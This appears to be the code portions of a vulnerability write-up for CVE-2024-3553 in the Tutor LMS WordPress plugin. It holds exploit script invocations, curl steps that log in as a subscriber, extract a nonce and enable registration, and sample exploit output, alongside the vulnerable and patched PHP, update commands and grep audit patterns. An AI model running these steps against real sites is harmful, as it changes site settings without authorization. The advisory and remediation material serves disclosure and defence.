# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

# Send request to enable user registration
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================

[*] Checking current registration status...
[+] Registration is currently DISABLED

[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber

[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456

[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!

[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED

======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

if ( is_admin() ) {
    // Thinking this means "user is an admin"
    update_option( 'sensitive_option', $value );
}

if ( current_user_can( 'manage_options' ) ) {
    // Actually checks if user has admin capabilities
    update_option( 'sensitive_option', $value );
}

# Via WP-CLI
wp plugin update tutor --version=2.7.0

# Via WordPress Admin
Dashboard → Plugins → Find "Tutor LMS" → Click "Update Now"

# Check if registration setting was modified recently
wp option get users_can_register

# Review recent user registrations
wp user list --orderby=registered --order=DESC --number=20

# 1. Search for is_admin() without capability checks
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. Look for direct option updates
grep -r "update_option\|add_option" .

# 3. Find AJAX handlers without capability checks
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"